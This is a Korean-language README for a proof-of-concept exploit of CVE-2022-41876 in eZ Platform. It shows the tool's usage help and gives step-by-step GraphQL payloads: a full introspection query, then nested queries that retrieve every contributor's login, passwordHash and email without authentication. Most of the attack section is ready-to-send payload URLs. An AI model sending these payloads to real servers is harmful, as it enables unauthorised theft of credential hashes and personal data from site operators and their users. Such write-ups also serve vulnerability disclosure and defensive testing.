
CVE-2022-41876용 PoC
eZ Platform에서 인증되지 않은 사용자가 모든 기여자(contributor)의 비밀번호 해시에 접근할 수 있게 하는 취약점이 발견되었습니다. 이 PoC는 'User' 객체로 이어지는 모든 가능한 GraphQL 경로를 열거한 다음, 해당 경로들을 요청하여 사용자의 기밀 정보를 검색합니다.
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url Target URL (specify the graphql endpoint)
optional arguments:
-h, --help show this help message and exit
-t, --thread Number of threads
-f FILE, --file FILE Local path to introspect file

이 도구가 CVE를 악용하기 위해 수행하는 단계는 다음과 같습니다:
이 CVE를 악용하는 첫 번째 단계는 introspect.json 파일을 얻는 것입니다. 이를 검색하는 한 가지 방법은 다음 페이로드를 사용하여 서버의 graphql 엔드포인트를 쿼리하는 것입니다:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
그런 다음 서버가 반환한 json을 사용하여 도구 graphql-enum-path로 'User' 객체로 향하는 모든 경로를 추출할 수 있습니다. 예를 들어 다음과 같습니다:

마지막으로, 모든 경로를 찾은 후에는 다음과 같이 특정 페이로드를 구성하여 서버에 전송해야 합니다:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
여기서 elements는 graphql-enum-path 결과에서 대괄호 사이의 텍스트에 해당합니다 (각 경로에 대해 쿼리를 수행해야 합니다). 따라서 위의 graphql-enum-path 예시를 기준으로 첫 번째 페이로드는 다음과 같습니다:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
서버가 이 CVE에 취약하다면 해당 쿼리에 사용자 데이터가 포함된 json 파일로 응답합니다.